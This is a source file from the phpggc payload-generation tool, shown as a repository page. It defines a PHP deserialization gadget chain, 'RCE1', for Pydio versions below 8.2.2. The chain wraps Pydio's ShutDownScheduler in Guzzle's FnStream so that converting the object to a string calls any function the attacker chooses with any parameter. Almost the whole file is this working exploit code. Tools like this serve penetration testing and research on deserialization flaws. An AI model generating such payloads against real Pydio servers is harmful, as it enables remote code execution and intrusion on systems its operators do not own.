Codebase list phpggc / run/76bd3c4e-e4e6-4b46-8898-31fb20d6e93d/main gadgetchains / Pydio / Guzzle / RCE / 1 / chain.php
run/76bd3c4e-e4e6-4b46-8898-31fb20d6e93d/main

Tree @run/76bd3c4e-e4e6-4b46-8898-31fb20d6e93d/main (Download .tar.gz)

chain.php @run/76bd3c4e-e4e6-4b46-8898-31fb20d6e93d/mainraw · history · blame

<?php

namespace GadgetChain\Pydio\Guzzle;

class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
  public static $version = '< 8.2.2';
  public static $vector = '__toString';
  public static $author = 'us3r777';

  public function generate(array $parameters)
  {
    $function = $parameters['function'];
    $parameter = $parameters['parameter'];

    return new \GuzzleHttp\Psr7\FnStream([
        '__toString' => [ new \Pydio\Core\Controller\ShutDownScheduler($function, $parameter), 'callRegisteredShutdown']
    ]);
  }   
}